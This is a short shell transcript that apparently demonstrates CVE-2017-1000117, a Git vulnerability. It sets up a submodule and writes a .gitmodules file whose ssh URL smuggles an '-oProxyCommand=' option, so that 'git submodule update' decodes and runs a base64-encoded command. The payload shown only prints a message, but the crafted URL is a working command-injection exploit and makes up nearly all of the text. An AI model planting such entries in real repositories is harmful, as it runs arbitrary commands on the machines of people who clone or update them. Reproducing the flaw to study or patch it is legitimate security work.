$ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git

$ cat message.txt | gzip | base64 > command


$ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117

$ cat << EOS > .gitmodules
[submodule "subs/CVE-2017-1000117"]
    path = subs/CVE-2017-1000117
    url = ssh://-oProxyCommand=cat command | base64 --decode | gzip -d >&2 /subs/CVE-2017-1000117
EOS

$ git submodule sync
$ git submodule update